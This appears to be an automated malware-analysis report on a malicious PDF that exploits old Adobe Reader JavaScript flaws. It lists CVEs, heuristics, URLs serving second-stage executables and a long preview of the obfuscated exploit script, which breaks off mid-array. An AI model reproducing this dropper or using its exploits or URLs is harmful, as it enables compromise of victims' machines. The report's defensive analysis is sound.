PDF malware analysis — malicious · 43238a5f3ae259da

MALICIOUS

PDF

75.7 KB Created: 2009-11-12 19:45:78 Authoring application: PDF Library 5.5.10 (via PDF Library 6.5.8) First seen: 2012-07-12

MD5: 4c0b25c8189cb1003f18bd0ebbc36ded SHA-1: a97af70b406af4f863d10eee18a35bc60f53ac11 SHA-256: 43238a5f3ae259dab65b99456ea6aa076b20013adcf8240448308d9a627e3251

590 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link or Macro: Malicious Link T1204.002 Malicious Link or Macro: Malicious Macro

This PDF document exploits multiple known Adobe Acrobat vulnerabilities including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. These exploits are used to execute embedded JavaScript, which in turn likely downloads and executes a second-stage payload, as indicated by the ClamAV detection of 'Js.Exploit.Shellcode-18' on an extracted artifact. The file is identified as 'Pdf.Exploit.Agent-36110'.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://images-dns.com/fimsvw2.exe Referenced by PDF JavaScript
- http://images-dns.com/click.php?r=Referenced by PDF JavaScript
- http://images-dns.com/dghops2.exeReferenced by PDF JavaScript
- http://images-dns.com/eilosx2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38228 bytes
SHA-256: `72f370f8b57aa5d8846f695a789626102fa8aaaeb41640bf9a6bf6ebd67a19b9`
Preview script First 1,000 lines of the extracted script var bvhz=12282;eiln=453;xrwczp=true;delv=8609;gjos=false;aklou=38910;einorv="";bdptw="bdptw";klpvwy="";aduwy='';pqrtu=true;var efghm='',efjp=true,zbwmpn="",ijpq=0,rsux=String,cdiklw=rsux['f1rBoJmtC1h1aJrVCBoJdJeV'.replace(/[V1BtJ]/g,'')],lnrx=String,cmpw=lnrx['esvnanlg'.replace(/[gsn68]/g,'')],dqrux="45",cklmu="",djqrtx=[65,63,61,155,169,163,151,169,157,164,162,85,154,158,172,148,157,169,92,174,149,167,167,165,96,85,160,154,162,94,175,66,62,62,61,172,156,158,160,154,84,93,173,150,166,168,164,99,160,154,162,156,168,157,84,95,84,103,84,113,84,161,153,163,93,176,65,63,61,62,61,174,149,167,167,165,84,96,113,85,173,150,166,168,164,112,65,63,61,62,177,66,62,62,61,174,149,167,167,165,84,114,84,174,149,167,167,165,98,168,169,151,167,169,166,158,162,156,92,101,96,85,160,154,162,100,102,94,111,66,62,62,61,167,153,169,169,167,162,85,173,150,166,168,164,112,65,63,61,178,65,63,65,63,61,155,169,163,151,169,157,164,162,85,169,169,157,161,147,165,166,158,162,169,154,93,93,176,65,63,61,62,170,150,166,85,164,150,173,161,163,150,152,85,113,85,169,163,153,168,151,150,164,154,92,87,89,170,121,119,121,110,89,170,100,101,100,102,89,170,105,107,100,101,89,170,117,102,106,105,89,170,100,101,103,101,89,170,100,101,100,101,89,170,104,101,108,119,89,170,108,119,100,120,89,170,101,120,107,101,89,170,108,119,117,121,89,170,100,109,104,101,89,170,119,104,105,122,89,170,108,119,105,106,89,170,108,119,121,120,89,170,100,109,104,106,89,170,103,104,105,103,89,170,119,102,120,103,89,170,100,104,119,103,89,170,101,101,103,103,89,170,108,101,104,101,89,170,100,101,103,109,89,170,122,106,107,106,89,170,119,103,108,119,89,170,105,121,105,118,89,170,100,105,119,103,89,170,105,106,100,101,89,170,121,120,108,119,89,170,105,102,105,102,89,170,105,107,105,104,89,170,106,101,105,108,89,170,105,121,108,119,89,170,103,104,100,109,89,170,108,119,119,101,89,170,100,120,107,106,89,170,122,122,108,119,89,170,107,107,100,104,89,170,108,119,103,120,89,170,107,109,104,122,89,170,119,123,100,104,89,170,105,102,108,119,89,170,105,103,101,120,89,170,105,102,108,119,89,170,105,103,102,105,89,170,107,102,108,119,89,170,104,122,101,105,89,170,107,106,108,110,89,170,108,119,122,120,89,170,102,101,107,102,89,170,122,108,100,104,89,170,104,118,109,110,89,170,104,103,117,121,89,170,103,119,106,101,89,170,122,120,105,106,89,170,100,105,107,106,89,170,119,101,103,104,89,170,103,108,121,119,89,170,122,123,103,104,89,170,104,106,100,104,89,170,109,108,100,120,89,170,119,123,108,119,89,170,107,106,117,122,89,170,102,119,122,121,89,170,104,123,122,110,89,170,121,109,105,102,89,170,122,123,109,105,89,170,122,123,122,123,89,170,119,104,103,119,89,170,107,105,106,102,89,170,121,119,100,103,89,170,108,119,120,110,89,170,100,120,104,106,89,170,105,122,109,103,89,170,122,103,100,104,89,170,121,101,120,102,89,170,119,107,100,104,89,170,119,110,103,104,89,170,118,108,100,123,89,170,105,123,100,109,89,170,121,102,119,102,89,170,100,104,100,103,89,170,100,104,119,118,89,170,108,119,119,123,89,170,100,104,100,102,89,170,108,110,119,103,89,170,122,109,104,106,89,170,108,119,106,102,89,170,122,109,104,106,89,170,105,122,105,123,89,170,119,110,105,119,89,170,105,106,119,104,89,170,121,120,108,119,89,170,121,109,105,102,89,170,122,123,104,110,89,170,122,123,122,123,89,170,106,109,105,101,89,170,106,101,121,109,89,170,100,105,118,123,89,170,106,120,121,109,89,170,122,123,122,123,89,170,103,104,122,123,89,170,105,103,120,103,89,170,122,123,105,103,89,170,100,109,107,106,89,170,120,101,122,123,89,170,104,106,108,110,89,170,108,119,122,120,89,170,122,120,104,106,89,170,119,104,119,110,89,170,108,119,105,106,89,170,108,104,121,120,89,170,100,120,121,120,89,170,104,106,108,121,89,170,105,101,122,105,89,170,104,106,119,107,89,170,107,106,122,105,89,170,104,106,119,107,89,170,107,103,122,106,89,170,104,106,119,107,89,170,106,120,122,107,89,170,104,106,119,107,89,170,106,121,122,108,89,170,104,106,119,107,89,170,106,123,122,109,89,170,104,106,119,107,89,170,106,122,122,110,89,170,104,106,119,107,89,170,102,122,122,118,89,170,104,106,119,107,89,170,106,105,122,119,89,170,104,106,119,107,89,170,106,120,122,120,89,170,104,106,119,107,89,170,106,120,122,121,89,170,104,106,119,107,89,170,100,101,122,122,89,170,117,101,121,109,89,170,122,123,122,123,89,170,105,101,122,123,89,170,105,121,106,109,89,170,101,102,108,118,89,170,121,109,101,107,89,170,122,123,101,106,89,170,122,123,122,123,89,170,119,105,108,104,89,170,108,106,100,120,89,170,107,105,119,101,89,170,106,118,101,106,89,170,106,118,100,101,89,170,122,123,100,101,89,170,100,120,107,106,89,170,107,106,122,123,89,170,106,118,100,109,89,170,122,123,100,101,89,170,108,106,120,101,89,170,107,106,119,101,89,170,104,101,100,104,89,170,119,104,119,110,89,170,119,101,103,104,89,170,119,104,119,110,89,170,103,104,105,108,89,170,108,119,119,101,89,170,102,105,104,120,89,170,108,119,100,120,89,170,102,105,107,120,89,170,122,120,100,109,89,170,117,118,122,104,89,170,119,104,105,123,89,170,104,120,108,119,89,170,100,105,102,105,89,170,103,110,108,101,89,170,108,119,100,101,89,170,107,105,119,102,89,170,104,101,100,107,89,170,103,109,108,101,89,170,107,106,100,101,89,170,102,119,122,118,89,170,119,104,119,102,89,170,108,119,105,106,89,170,108,104,121,120,89,170,106,105,121,120,89,170,108,121,105,104,89,170,122,101,104,106,89,170,103,104,105,108,89,170,105,101,120,119,89,170,104,106,119,107,89,170,106,119,122,101,89,170,104,106,119,107,89,170,106,106,122,102,89,170,104,106,119,107,89,170,107,103,122,103,89,170,104,106,119,107,89,170,106,122,122,104,89,170,104,106,119,107,89,170,106,106,122,105,89,170,104,106,119,107,89,170,106,120,122,106,89,170,104,106,119,107,89,170,103,104,122,107,89,170,104,106,119,107,89,170,103,103,122,108,89,170,104,106,119,107,89,170,102,122,122,109,89,170,104,106,119,107,89,170,106,105,122,110,89,170,104,106,119,107,89,170,106,120,122,118,89,170,104,106,119,107,89,170,106,120,122,119,89,170,105,121,108,109,89,170,121,109,122,120,89,170,122,123,100,119,89,170,122,123,122,123,89,170,106,109,105,101,89,170,104,104,106,109,89,170,108,122,122,110,89,170,108,101,121,109,89,170,122,123,122,122,89,170,108,119,122,123,89,170,108,121,122,109,89,170,109,120,104,106,89,170,104,105,106,118,89,170,121,109,105,101,89,170,122,123,107,122,89,170,122,123,122,123,89,170,104,106,108,121,89,170,106,118,121,101,89,170,105,101,101,101,89,170,107,104,121,109,89,170,122,123,122,123,89,170,108,104,122,123,89,170,101,120,119,105,89,170,104,106,108,121,89,170,105,101,121,101,89,170,104,106,108,121,89,170,105,101,109,120,89,170,105,104,105,104,89,170,105,104,105,104,89,170,105,104,105,104,89,170,107,106,122,123,89,170,119,108,100,109,89,170,109,120,104,106,89,170,100,101,104,105,89,170,100,101,100,101,89,170,122,123,105,104,89,170,105,123,120,108,89,170,118,107,100,123,89,170,105,119,119,101,89,170,119,104,119,110,89,170,108,119,105,106,89,170,105,102,121,120,89,170,105,104,105,102,89,170,105,108,105,107,89,170,104,103,106,118,89,170,107,103,121,109,89,170,100,101,100,101,89,170,108,119,100,101,89,170,103,104,120,109,89,170,108,106,122,107,89,170,105,110,120,119,89,170,104,106,119,108,89,170,106,102,122,109,89,170,106,106,102,122,89,170,119,108,107,109,89,170,122,120,104,106,89,170,100,101,106,106,89,170,100,101,100,101,89,170,105,107,107,122,89,170,104,106,108,121,89,170,105,101,122,109,89,170,121,109,105,107,89,170,100,101,105,102,89,170,100,101,100,101,89,170,105,101,105,110,89,170,118,102,121,109,89,170,122,123,122,122,89,170,108,106,122,123,89,170,105,110,119,101,89,170,107,105,105,110,89,170,108,121,103,110,89,170,100,102,104,107,89,170,121,109,105,101,89,170,100,101,103,119,89,170,100,101,100,101,89,170,122,109,108,119,89,170,104,106,108,121,89,170,105,101,122,109,89,170,102,102,121,109,89,170,122,123,122,123,89,170,108,106,122,123,89,170,105,110,119,101,89,170,107,105,105,110,89,170,105,108,100,120,89,170,100,102,121,109,89,170,122,123,122,123,89,170,105,110,122,123,89,170,104,105,119,107,89,170,122,123,103,109,89,170,105,101,107,104,89,170,104,106,108,121,89,170,122,122,122,109,89,170,105,109,100,101,89,170,104,106,108,121,89,170,105,101,122,109,89,170,121,109,105,108,89,170,122,122,107,105,89,170,122,123,122,123,89,170,105,110,105,110,89,170,104,107,104,107,89,170,122,104,103,119,89,170,117,118,107,120,89,170,105,122,105,123,89,170,119,110,105,119,89,170,105,106,119,104,89,170,121,120,108,119,89,170,105,104,105,102,89,170,106,101,106,107,89,170,103,103,118,102,89,170,100,101,121,109,89,170,100,101,100,101,89,170,105,109,100,101,89,170,100,109,103,109,89,170,100,104,107,105,89,170,121,119,104,101,89,170,104,101,122,110,89,170,105,121,108,119,89,170,108,101,100,109,89,170,104,103,122,119,89,170,100,109,107,106,89,170,120,119,103,104,89,170,101,109,108,118,89,170,119,104,108,119,89,170,101,108,121,119,89,170,101,109,103,109,89,170,101,102,107,107,89,170,103,104,104,101,89,170,108,105,119,110,89,170,107,105,120,119,89,170,104,101,100,120,89,170,100,109,103,109,89,170,122,119,107,106,89,170,122,122,104,101,89,170,121,119,119,119,89,170,103,104,122,103,89,170,108,110,119,101,89,170,122,120,104,106,89,170,104,106,108,119,89,170,105,119,122,120,89,170,119,104,119,110,89,170,100,103,103,103,89,170,107,105,106,109,89,170,107,101,107,105,89,170,102,123,103,118,89,170,106,110,102,123,89,170,106,102,106,121,89,170,106,106,106,108,89,170,102,121,107,104,89,170,106,122,106,105,89,170,102,122,107,104,89,170,106,123,106,104,89,170,102,123,106,121,89,170,106,110,106,107,89,170,107,104,106,121,89,170,107,108,107,107,89,170,102,122,103,103,89,170,107,109,106,106,89,170,100,101,106,106,89,170,107,105,106,109,89,170,107,101,107,105,89,170,102,123,103,118,89,170,106,110,102,123,89,170,106,102,106,121,89,170,106,106,106,108,89,170,102,121,107,104,89,170,106,122,106,105,89,170,102,122,107,104,89,170,106,123,106,104,89,170,102,123,106,121,89,170,106,120,106,104,89,170,106,104,106,110,89,170,102,122,106,119,89,170,106,109,107,101,89,170,103,123,107,101,89,170,103,121,107,103,89,170,100,101,100,101,86,94,111,66,62,62,61,171,149,167,84,163,163,165,84,114,84,170,162,154,167,152,149,165,153,93,86,90,169,101,117,101,117,90,169,101,117,101,117,90,169,101,117,101,117,90,169,101,117,101,117,87,93,66,62,62,61,171,149,167,84,157,153,150,164,151,160,164,151,160,84,114,84,163,163,165,84,96,84,165,149,174,160,164,149,153,111,66,62,62,61,171,149,167,84,151,157,156,150,161,163,152,159,85,113,85,169,163,153,168,151,150,164,154,92,87,89,170,100,118,100,118,89,170,100,118,100,118,86,94,111,66,62,62,61,171,149,167,84,157,153,150,152,154,166,168,157,175,153,85,113,85,102,101,111,66,62,62,61,171,149,167,84,168,164,167,149,174,84,114,84,157,153,150,152,154,166,168,157,175,153,85,95,85,156,154,149,165,150,161,163,152,159,99,160,154,162,156,168,157,111,66,62,62,61,172,156,158,160,154,84,93,150,158,155,151,160,164,151,160,98,161,153,163,155,169,156,85,112,85,167,165,166,150,173,94,175,66,62,62,61,62,150,158,155,151,160,164,151,160,84,96,113,85,150,158,155,151,160,164,151,160,111,66,62,62,61,178,65,63,61,62,170,150,166,85,154,158,160,161,150,161,163,152,159,85,113,85,150,158,155,151,160,164,151,160,98,168,169,151,167,169,166,158,162,156,92,101,96,85,167,165,166,150,173,94,111,66,62,62,61,171,149,167,84,151,160,164,151,160,84,114,84,151,157,156,150,161,163,152,159,99,167,170,150,168,168,167,157,163,155,93,100,97,84,151,157,156,150,161,163,152,159,99,160,154,162,156,168,157,97,168,164,167,149,174,93,112,65,63,61,62,171,157,157,161,153,85,92,151,160,164,151,160,98,161,153,163,155,169,156,96,167,165,166,150,173,85,112,85,100,173,104,101,100,101,100,94,175,66,62,62,61,62,150,161,163,152,159,85,113,85,150,161,163,152,159,85,95,85,150,161,163,152,159,85,95,85,154,158,160,161,150,161,163,152,159,112,65,63,61,62,177,66,62,62,61,171,149,167,84,162,153,162,147,150,166,167,149,174,84,114,84,163,153,172,84,118,166,167,149,174,92,94,111,66,62,62,61,155,163,167,84,93,170,150,166,85,157,85,113,85,100,112,84,158,84,113,84,102,104,101,100,112,84,158,95,96,93,176,65,63,61,62,61,162,153,162,147,150,166,167,149,174,143,158,145,85,113,85,150,161,163,152,159,85,95,85,156,154,149,165,150,161,163,152,159,112,65,63,61,62,177,66,62,62,61,171,149,167,84,163,169,162,84,114,84,102,102,110,109,110,109,110,109,110,109,110,109,110,109,110,109,110,109,110,109,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,109,108,112,65,63,61,62,169,169,157,161,98,165,166,158,162,169,154,93,86,90,104,106,100,101,100,155,86,97,84,163,169,162,93,112,65,63,61,178,65,63,65,63,61,155,169,163,151,169,157,164,162,85,151,164,160,161,149,151,147,154,161,150,157,161,92,94,175,66,62,62,61,171,149,167,84,168,156,154,160,161,151,164,152,154,84,114,84,170,162,154,167,152,149,165,153,93,86,90,169,122,118,122,109,90,169,101,100,101,101,90,169,106,106,101,100,90,169,118,101,107,104,90,169,101,100,104,100,90,169,101,100,101,100,90,169,105,100,109,118,90,169,109,118,101,119,90,169,102,119,108,100,90,169,109,118,118,120,90,169,101,108,105,100,90,169,120,103,106,121,90,169,109,118,106,105,90,169,109,118,122,119,90,169,101,108,105,105,90,169,104,103,106,102,90,169,120,101,121,102,90,169,101,103,120,102,90,169,102,100,104,102,90,169,109,100,105,100,90,169,101,100,104,108,90,169,123,105,108,105,90,169,120,102,109,118,90,169,106,120,106,117,90,169,101,104,120,102,90,169,106,105,101,100,90,169,122,119,109,118,90,169,106,101,106,101,90,169,106,106,106,103,90,169,107,100,106,107,90,169,106,120,109,118,90,169,104,103,101,108,90,169,109,118,120,100,90,169,101,119,108,105,90,169,123,121,109,118,90,169,108,106,101,103,90,169,109,118,104,119,90,169,108,108,105,121,90,169,120,122,101,103,90,169,106,101,109,118,90,169,106,102,102,119,90,169,106,101,109,118,90,169,106,102,103,104,90,169,108,101,109,118,90,169,105,121,102,104,90,169,108,105,109,109,90,169,109,118,123,119,90,169,103,100,108,101,90,169,123,107,101,103,90,169,105,117,110,109,90,169,105,102,118,120,90,169,104,118,107,100,90,169,123,119,106,105,90,169,101,104,108,105,90,169,120,100,104,103,90,169,104,107,122,118,90,169,123,122,104,103,90,169,105,105,101,103,90,169,110,107,101,119,90,169,120,122,109,118,90,169,108,105,118,121,90,169,103,118,123,120,90,169,105,122,123,109,90,169,122,108,106,101,90,169,123,122,110,104,90,169,123,122,123,122,90,169,120,103,104,118,90,169,108,104,107,101,90,169,122,118,101,102,90,169,109,118,121,109,90,169,101,119,105,105,90,169,106,121,110,102,90,169,123,102,101,103,90,169,122,100,121,101,90,169,120,106,101,103,90,169,120,109,104,103,90,169,119,107,101,122,90,169,106,122,101,108,90,169,122,101,120,101,90,169,101,103,101,102,90,169,101,103,120,117,90,169,109,118,120,122,90,169,101,103,101,101,90,169,109,109,120,102,90,169,123,108,105,105,90,169,109,118,107,101,90,169,123,108,105,105,90,169,106,121,106,122,90,169,120,109,106,118,90,169,106,105,120,103,90,169,122,119,109,118,90,169,122,108,106,101,90,169,123,122,105,109,90,169,123,122,123,122,90,169,107,108,106,100,90,169,107,100,122,108,90,169,101,104,119,122,90,169,107,119,122,108,90,169,123,122,123,122,90,169,104,103,123,122,90,169,106,102,121,102,90,169,123,122,106,102,90,169,101,108,108,105,90,169,121,100,123,122,90,169,105,105,109,109,90,169,109,118,123,119,90,169,123,119,105,105,90,169,120,103,120,109,90,169,109,118,106,105,90,169,109,103,122,119,90,169,101,119,122,119,90,169,105,105,109,120,90,169,106,100,123,104,90,169,105,105,120,106,90,169,108,105,123,104,90,169,105,105,120,106,90,169,108,102,123,105,90,169,105,105,120,106,90,169,107,119,123,106,90,169,105,105,120,106,90,169,107,120,123,107,90,169,105,105,120,106,90,169,107,122,123,108,90,169,105,105,120,106,90,169,107,121,123,109,90,169,105,105,120,106,90,169,103,121,123,117,90,169,105,105,120,106,90,169,107,104,123,118,90,169,105,105,120,106,90,169,107,119,123,119,90,169,105,105,120,106,90,169,107,119,123,120,90,169,105,105,120,106,90,169,101,100,123,121,90,169,118,100,122,108,90,169,123,122,123,122,90,169,106,100,123,122,90,169,106,120,107,108,90,169,102,101,109,117,90,169,122,108,102,106,90,169,123,122,102,105,90,169,123,122,123,122,90,169,120,104,109,103,90,169,109,105,101,119,90,169,108,104,120,100,90,169,107,117,102,105,90,169,107,117,101,100,90,169,123,122,101,100,90,169,101,119,108,105,90,169,108,105,123,122,90,169,107,117,101,108,90,169,123,122,101,100,90,169,109,105,121,100,90,169,108,105,120,100,90,169,105,100,101,103,90,169,120,103,120,109,90,169,120,100,104,103,90,169,120,103,120,109,90,169,104,103,106,107,90,169,109,118,120,100,90,169,103,104,105,119,90,169,109,118,101,119,90,169,103,104,108,119,90,169,123,119,101,108,90,169,118,117,123,103,90,169,120,103,106,122,90,169,105,119,109,118,90,169,101,104,103,104,90,169,104,109,109,100,90,169,109,118,101,100,90,169,108,104,120,101,90,169,105,100,101,106,90,169,104,108,109,100,90,169,108,105,101,100,90,169,103,118,123,117,90,169,120,103,120,101,90,169,109,118,106,105,90,169,109,103,122,119,90,169,107,104,122,119,90,169,109,120,106,103,90,169,123,100,105,105,90,169,104,103,106,107,90,169,106,100,121,118,90,169,105,105,120,106,90,169,107,118,123,100,90,169,105,105,120,106,90,169,107,105,123,101,90,169,105,105,120,106,90,169,108,102,123,102,90,169,105,105,120,106,90,169,107,121,123,103,90,169,105,105,120,106,90,169,107,105,123,104,90,169,105,105,120,106,90,169,107,119,123,105,90,169,105,105,120,106,90,169,104,103,123,106,90,169,105,105,120,106,90,169,104,102,123,107,90,169,105,105,120,106,90,169,103,121,123,108,90,169,105,105,120,106,90,169,107,104,123,109,90,169,105,105,120,106,90,169,107,119,123,117,90,169,105,105,120,106,90,169,107,119,123,118,90,169,106,120,109,108,90,169,122,108,123,119,90,169,123,122,101,118,90,169,123,122,123,122,90,169,107,108,106,100,90,169,105,103,107,108,90,169,109,121,123,109,90,169,109,100,122,108,90,169,123,122,123,121,90,169,109,118,123,122,90,169,109,120,123,108,90,169,110,119,105,105,90,169,105,104,107,117,90,169,122,108,106,100,90,169,123,122,108,121,90,169,123,122,123,122,90,169,105,105,109,120,90,169,107,117,122,100,90,169,106,100,102,100,90,169,108,103,122,108,90,169,123,122,123,122,90,169,109,103,123,122,90,169,102,119,120,104,90,169,105,105,109,120,90,169,106,100,122,100,90,169,105,105,109,120,90,169,106,100,110,119,90,169,106,103,106,103,90,169,106,103,106,103,90,169,106,103,106,103,90,169,108,105,123,122,90,169,120,107,101,108,90,169,110,119,105,105,90,169,101,100,105,104,90,169,101,100,101,100,90,169,123,122,106,103,90,169,106,122,121,107,90,169,119,106,101,122,90,169,106,118,120,100,90,169,120,103,120,109,90,169,109,118,106,105,90,169,106,101,122,119,90,169,106,103,106,101,90,169,106,107,106,106,90,169,105,102,107,117,90,169,108,102,122,108,90,169,101,100,101,100,90,169,109,118,101,100,90,169,104,103,121,108,90,169,109,105,123,106,90,169,106,109,121,118,90,169,105,105,120,107,90,169,107,101,123,108,90,169,107,105,103,121,90,169,120,107,108,108,90,169,123,119,105,105,90,169,101,100,107,105,90,169,101,100,101,100,90,169,106,106,108,121,90,169,105,105,109,120,90,169,106,100,123,108,90,169,122,108,106,106,90,169,101,100,106,101,90,169,101,100,101,100,90,169,106,100,106,109,90,169,119,101,122,108,90,169,123,122,123,121,90,169,109,105,123,122,90,169,106,109,120,100,90,169,108,104,106,109,90,169,109,120,104,109,90,169,101,101,105,106,90,169,122,108,106,100,90,169,101,100,104,118,90,169,101,100,101,100,90,169,123,108,109,118,90,169,105,105,109,120,90,169,106,100,123,108,90,169,103,101,122,108,90,169,123,122,123,122,90,169,109,105,123,122,90,169,106,109,120,100,90,169,108,104,106,109,90,169,106,107,101,119,90,169,101,101,122,108,90,169,123,122,123,122,90,169,106,109,123,122,90,169,105,104,120,106,90,169,123,122,104,108,90,169,106,100,108,103,90,169,105,105,109,120,90,169,123,121,123,108,90,169,106,108,101,100,90,169,105,105,109,120,90,169,106,100,123,108,90,169,122,108,106,107,90,169,123,121,108,104,90,169,123,122,123,122,90,169,106,109,106,109,90,169,105,106,105,106,90,169,123,103,104,118,90,169,118,117,108,119,90,169,106,121,106,122,90,169,120,109,106,118,90,169,106,105,120,103,90,169,122,119,109,118,90,169,106,103,106,101,90,169,107,100,107,106,90,169,104,102,119,101,90,169,101,100,122,108,90,169,101,100,101,100,90,169,106,108,101,100,90,169,101,108,104,108,90,169,101,103,108,104,90,169,122,118,105,100,90,169,105,100,123,109,90,169,106,120,109,118,90,169,109,100,101,108,90,169,105,102,123,118,90,169,101,108,108,105,90,169,121,118,104,103,90,169,102,108,109,117,90,169,120,103,109,118,90,169,102,107,122,118,90,169,102,108,104,108,90,169,102,101,108,106,90,169,104,103,105,100,90,169,109,104,120,109,90,169,108,104,121,118,90,169,105,100,101,119,90,169,101,108,104,108,90,169,123,118,108,105,90,169,123,121,105,100,90,169,122,118,120,118,90,169,104,103,123,102,90,169,109,109,120,100,90,169,123,119,105,105,90,169,105,105,109,118,90,169,106,118,123,119,90,169,120,103,120,109,90,169,101,102,104,102,90,169,108,104,107,108,90,169,108,100,108,104,90,169,103,122,104,117,90,169,107,109,103,122,90,169,107,101,107,120,90,169,107,105,107,107,90,169,103,120,108,103,90,169,107,121,107,104,90,169,103,121,108,103,90,169,107,122,107,103,90,169,103,122,107,120,90,169,107,107,107,104,90,169,107,122,107,108,90,169,108,103,108,100,90,169,103,121,104,102,90,169,108,108,107,105,90,169,101,100,107,105,90,169,108,104,107,108,90,169,108,100,108,104,90,169,103,122,104,117,90,169,107,109,103,122,90,169,107,101,107,120,90,169,107,105,107,107,90,169,103,120,108,103,90,169,107,121,107,104,90,169,103,121,108,103,90,169,107,122,107,103,90,169,103,122,107,120,90,169,107,119,107,103,90,169,107,103,107,109,90,169,103,121,107,118,90,169,107,108,108,100,90,169,104,122,108,100,90,169,104,120,108,102,90,169,101,100,101,100,87,93,112,65,63,61,62,170,150,166,85,161,154,161,148,149,167,166,150,173,85,113,85,162,154,171,85,117,167,166,150,173,93,93,112,65,63,61,62,170,150,166,85,151,152,84,114,84,101,172,101,151,101,151,101,151,101,151,112,65,63,61,62,170,150,166,85,149,153,152,167,84,114,84,101,172,105,100,101,100,101,100,112,65,63,61,62,170,150,166,85,167,152,147,161,153,163,84,114,84,168,156,154,160,161,151,164,152,154,98,161,153,163,155,169,156,85,94,85,102,112,65,63,61,62,170,150,166,85,160,154,162,85,113,85,149,153,152,167,84,98,84,93,167,152,147,161,153,163,95,101,172,104,108,94,111,66,62,62,61,171,149,167,84,174,149,167,167,165,84,114,84,170,162,154,167,152,149,165,153,93,86,90,169,110,100,110,100,90,169,110,100,110,100,87,93,112,65,63,61,62,173,150,166,168,164,85,113,85,154,158,172,148,157,169,92,174,149,167,167,165,96,85,160,154,162,94,111,66,62,62,61,171,149,167,84,152,163,170,162,169,102,85,113,85,92,152,151,85,97,85,100,173,104,101,100,101,100,101,93,100,149,153,152,167,111,66,62,62,61,155,163,167,84,93,170,150,166,85,151,164,169,163,168,85,113,85,100,112,84,152,163,170,162,169,84,113,84,152,163,170,162,169,102,112,84,152,163,170,162,169,95,96,93,176,65,63,61,62,61,162,153,162,147,150,166,167,149,174,143,152,163,170,162,169,145,85,113,85,173,150,166,168,164,85,95,85,167,157,153,161,160,152,163,153,153,112,65,63,61,62,177,66,62,62,61,171,149,167,8